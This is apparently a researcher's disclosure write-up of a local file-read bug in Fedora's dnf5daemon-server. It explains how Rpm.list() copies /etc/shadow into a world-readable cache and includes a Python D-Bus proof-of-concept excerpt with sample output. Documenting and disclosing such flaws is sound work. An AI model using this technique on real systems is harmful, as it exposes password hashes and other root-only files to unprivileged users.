One DNF5 query away from /etc/shadow: CVE-2026-123177

linux / dnf5 / dbus / polkit / fedora / cve-2026-123177

Fedora logo

Recent Fedora Workstation releases install dnf5daemon-server, a root service on the system bus. Any local user can call Rpm.list(), and its package patterns can be URLs. Before touching DNF5, the account could not read /etc/shadow:

$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc)
$ head -1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied

I handed /etc/shadow to Rpm.list() as a file:// pattern. The answer was not a rpm. Fair enough, except the daemon waited until after copying /etc/shadow into its package cache as a root-owned 0644 file. A low priv user could read the copy. Red Hat assigned the bug CVE-2026-123177.

I ran the PoC over SSH. It talks straight to Rpm.list() on the system bus, without a polkit check.

Tested systems

I tested Fedora Workstation with SELinux enforcing:

Fedora 44: dnf5daemon-server-5.4.6.0-1.fc44.x86_64
Fedora 45: dnf5daemon-server-5.4.7.0-1.fc45.x86_64
Fedora 46 Rawhide (20261112.n.0): dnf5daemon-server-5.4.7.0-1.fc46.x86_64

On all three systems, D-Bus started the daemon as root on demand.

A package pattern can be a URL

Rpm.list() accepts a patterns array. In dnf5daemon-server/services/rpm/rpm.cpp:401-410, those strings go straight to add_cmdline_packages():

std::vector<std::string> patterns =
    dnfdaemon::key_value_map_get<std::vector<std::string>>(
        options, "patterns", std::vector<std::string>{});

for (auto & [path, package] : base->get_repo_sack()->add_cmdline_packages(patterns)) {
    cmdline_packages.push_back(std::move(package));
}

Package patterns are normally names, but add_cmdline_packages() also recognizes local RPM paths and URLs. There is no polkit check in Rpm.list() before the query reaches it; package queries are meant to be harmless. Usually they are. :)

The PoC sends a pattern like:

file:///etc/shadow?adamm-<pid>-<timestamp>.rpm

file:// selects the file. The query does not change what gets opened; it gives the cached copy a unique .rpm tag that the PoC can find afterward.

Download now, ask RPM questions later

The next layer is libdnf5/repo/repo_sack.cpp:224-300. It collects URL-like patterns, builds a filename below the command-line repository cache and runs the downloader:

if (!url_to_path.empty()) {
    auto & logger = *p_impl->base->get_logger();
    // download remote URLs
    libdnf5::repo::FileDownloader downloader(p_impl->base);
    for (auto & [url, dest_path] : url_to_path) {
        logger.debug("Downloading package \"{}\" to file \"{}\"", url, dest_path.string());
        // TODO(mblaha): temporarily used the dummy DownloadCallbacks instance
        downloader.add(std::string{url}, dest_path.string());
    }
    downloader.download();

    // fill the command line repo with downloaded URLs
    for (const auto & [url, path] : url_to_path) {
        path_to_package.emplace(url, cmdline_repo->add_rpm_package(path.string(), calculate_checksum));
    }
}

The ordering is the bug: the daemon fetches the input as root, then asks RPM whether it is a package. /etc/shadow fails that check, but the 0644 copy remains in a 0755 cache directory, so a low priv user can read it.

Triggering the copy

The PoC needs two D-Bus calls: open a session, then pass the tagged URL to Rpm.list():

bus = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)

session = call(
    bus,
    "/org/rpm/dnf/v0",
    "org.rpm.dnf.v0.SessionManager",
    "open_session",
    GLib.Variant("(a{sv})", ({
        "load_available_repos": GLib.Variant("b", False),
        "load_system_repo": GLib.Variant("b", False),
    },)),
    "(o)",
).unpack()[0]

try:
    call(
        bus,
        session,
        "org.rpm.dnf.v0.rpm.Rpm",
        "list",
        GLib.Variant("(a{sv})", ({
            "patterns": GLib.Variant("as", [url]),
        },)),
        "(aa{sv})",
    )
except GLib.Error:
    pass  # The root-side copy already happened.

Rpm.list() rejects the non-RPM input, but the tagged copy is already sitting in the readable cache. The PoC finds that filename and copies it to out:

$ python3 poc.py /etc/shadow -o out
[*] uid=1001, direct_read=False
[*] asking DNF5 daemon to inspect /etc/shadow
[+] cache=/var/cache/dnf5daemon-server/... owner=0:0 mode=0644 size=1450
[+] recovered=out
$ grep '^poc:' out
poc:$y$j9T$...snip...

I wanted a shell one-liner, but open_session() ties its object to the D-Bus connection that created it. Two gdbus calls mean two connections, so the second one hits UnknownObject. The Python version keeps one connection open and ran on all three systems without adding any packages.

/etc/shadow was just the cleanest target. Rpm.list() also takes http:// and https://; on Fedora 44 and 45 the daemon followed redirects within the same scheme and left the full response in its readable cache.

Any known file path the daemon can read works the same way. I could not push the copy out of /var/cache/dnf5daemon-server, so the primitive stops at read.